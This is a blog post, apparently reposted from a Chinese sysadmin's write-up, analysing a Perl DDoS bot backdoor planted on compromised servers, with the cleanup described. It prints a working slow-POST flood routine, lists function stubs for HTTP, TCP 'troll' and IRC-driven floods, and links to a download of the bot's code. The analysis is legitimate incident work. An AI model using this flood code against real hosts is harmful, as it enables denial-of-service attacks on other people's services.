Merge branch 'master' of git://github.com/plusjade/jekyll-bootstrap
[GalaxyBlog.git] / _posts / 2012-04-23-zt-an-experience-of-server-anti-ddos.md
blob7d959ee03b15db07eeb8e45449e411559b013d76
1 ---
2 date: '2012-04-22 16:04'
3 layout: post
4 slug: zt-an-experience-of-server-anti-ddos
5 title: "[ZT]记一次运维,一个 Linux 木马"
6 description: ""
7 category:
8 tags: [ddos, server]
9 ---
10 {% include JB/setup %}
12 http://www.lovelucy.info/an-experience-of-server-anti-ddos.html<br>
13 2012-04-22 16:04        | 25 次围观<br>
14 <font color="navy">嘛,新平台上的第一篇新帖子……</font>
16 * * *
18 上个月数据中心的多台服务器接连被人挂马,又有客户的网站被 DDOS,公司的运维整个都处于一种被打了鸡血的亢奋状态,连我手上的项目都被部门老大停了,调去帮运维。第一次见到 Linux 下面的木马,突然想起来,还是值得记录一下。
20 分析日志发现 Attacker 应该是通过某种途径获得了客户的后台密码,然后利用控制面板的漏洞,上传了压缩包里的 `falabiya.cgi` 并运行。这样会生成 `.X11-unix` 文件(其实就是 falabiya 那一段 `base64_decode`), `.X11-unix`即具体的后门程序。
22 信安专业的 Felix021 和芒果师兄都对这个案例表示出了兴趣,于是我分别和他们分析了一下。这是一段 perl 脚本,写得十分精妙。具体功能就是拿我们的服务器做肉鸡,监听端口获取指令,向指定地址发送数据,从而实行 DDOS 攻击。代码内置了几乎所有浏览器的 UA 字符串,每次都随机抽取其中一个,伪装为正常访问。genGarbage、tcp flood、udp flood、slow get/post 等各种 DDOS 方式均有实现,特别是 sendSlowPostRequest 这个方法,实在太贱了,一点点地发,对方必须 hold 住资源等你发完。。短短数百行代码,却对各种错误异常处理得十分仔细,必然出自高人之手。注释里有些不能识别的字符,也不知道是什么编码,无法推断是哪个国家的黑客写的。。
24 <font color="navy">
25 Galaxy看到注释中有<code>#id3|slowpost|ya3.ru|3128|/index.html</code>,就猜到是俄语。到EditPlus中翻了半天,找到<code>Ukrainian (MAC) 10017</code>,解出来一看,果然是。<br>
26 话说,俄语的学名是“乌克兰语” <font style="font-family: Arial Unicode MS, Lucida Sans Unicode;">[ukrɑˈjɪɲsʲkɑ ˈmɔwɑ] </font>么?
27 </font>
29 {% highlight perl %}
30 sub sendSlowPostRequest {
31         my $host = $_[0];
32         my $port = $_[1];
33         my $path = $_[2];
34         my $contentLen = $_[3];
35         my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|\=-~`1234567890";
37         print "start\n";
39         socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
40         $iaddr = inet_aton($host);
41         $paddr = sockaddr_in($port, $iaddr);
42         connect(SOCK, $paddr);
44         #send header
45         send (SOCK, "POST ".$path." HTTP/1.1\r\n", 0);
46         send (SOCK, "Host: $host\r\n", 0);
47         send (SOCK, "User-Agent: $ua\r\n", 0);
48         send (SOCK, "Content-type: application/x-www-form-urlencoded\r\n", 0);
49         send (SOCK, "Content-length: $contentLen\r\n", 0);
50         send (SOCK, "\r\n", 0);
52         #send body
53         for my $i (1..$contentLen){
54                 my $symbol = substr $chars, int rand length($chars), 1;
55                 print "$symbol ";
56                 send (SOCK, $symbol, 0);
57                 sleep 3;
58         }
59         send (SOCK, "\r\n", 0);
60         close(SOCK);
61         print "end\n";
63 {% endhighlight %}
65 后来我们清理掉了所有木马,限制脚本运行,配置防火墙阻止向外发送异常数据。至于我们自己被 DDOS 攻击,也是配防火墙搞定,那几台设备好几百万,还是相当给力的。因为来自中国的攻击很多,Boss 一直对内地黑客十分“敬仰”,要我介绍几个给他认识。。其实我是了解国内那些所谓的“黑客”的,不得已只好把也是武大信安毕业后来去中科院的 LC 拉来……后来 Boss 还跑去北京找绿盟谈过合作,据说他家要上市了。
67 代码请[猛戳这里](/assets/wp-uploads/2012/peach.20120228.zip "http://host-for-download.googlecode.com/files/peach.20120228.zip")下载。有任何研究发现,欢迎分享。
69 * * *
71 <font color="navy">Galaxy随手喂Google翻译了几句:</font>
73 {% highlight perl %}
74 #хттп √≈“ атака (парамерты : хост, порт, путь до скрипта, врем¤ ожидани¤ между запросами)
75 # Http √ ≈ "attack (paramerty: host, port, path to the script, the time ¤ ¤ timeout between requests)
76 sub sendGetRequest {
77         my $host = $_[0];
78         my $port = $_[1];
79         my $path = $_[2];
81 #хост, порт, путь до скрипта, врем¤ ожидани¤ между запросами, текстовый буффер дл¤ отсылки в теле ѕќ—“а
82 # Host, port, path to the script, the time ¤ ¤ timeout between requests, the text buffer dl ¤ ѕќ references in the body, "a
83 sub sendPostRequest {
84         my $host = $_[0];
85         my $port = $_[1];
86         my $path = $_[2];
87         my $content = $_[3];
89 # HTTP GET (парамерты : хост, порт, путь до скрипта, врем¤ ожидани¤ между запросами)
90 # HTTP GET (paramerty: host, port, path to the script, the time ¤ ¤ timeout between requests)
91 sub attackHttpGet {
92         $child = fork;
93         if ($child == 0){
94                 my $host = $_[0];
95                 my $port = $_[1];
96                 my $path = $_[2];
97                 my $sleep = $_[3];
98                 my $duration = $_[4];
100 # ѕќ—“ атака (парамерты : хост, порт, путь до скрипта, врем¤ ожидани¤ между запросами, текстовый буффер дл¤ отсылки в теле ѕќ—“а)
101 # Ѕќ-"attack (paramerty: host, port, path to the script, the time ¤ ¤ timeout between requests, the text buffer dl ¤ ѕќ references in the body-" a)
102 sub attackHttpPost {
103         $child = fork;
104         if ($child == 0){
105                 my $host = $_[0];
106                 my $port = $_[1];
107                 my $path = $_[2];
108                 my $sleep = $_[3];
109                 my $content = $_[4];
110                 my $duration = $_[5];
112 # TROLL атака (парамерты : хост, порт, кол-во коннектов на 1 поток, слип). если порт 0, то порт рандом.
113 # TROLL attack (paramerty: host, port, number of connections in a thread, slip). if the port is 0, the random port.
114 sub attackTroll {
115         $child = fork;
116         if ($child == 0){
117                 my $host = $_[0];
118                 my $port = $_[1];
119                 my $connects = $_[2];
120                 my $sleep = $_[3];
121                 my $duration = $_[4];
123 # TCP атака. тоже что и тролл, но с посылкой мусора в порт после коннекта. доп.параметр : максимальный размер мусорного реквеста.
124 # TCP attack. Same as trolley buses, but with sending debris into port after connect. dop.parametr: the maximum size of a garbage rekvesta.
125 sub attackTcpTroll {
126         $child = fork;
127         if ($child == 0){
128                 my $host = $_[0];
129                 my $port = $_[1];
130                 my $connects = $_[2];
131                 my $maxLen = $_[3];
132                 my $duration = $_[4];
134 # HTTP from IRC (парамерты : хост, длительность)
135 # HTTP from IRC (paramerty: host, duration)
136 sub attackHttpFlood {
137         $child = fork;
138         if ($child == 0){
139                 my $host = $_[0];
140                 my $duration = $_[1];
141 {% endhighlight %}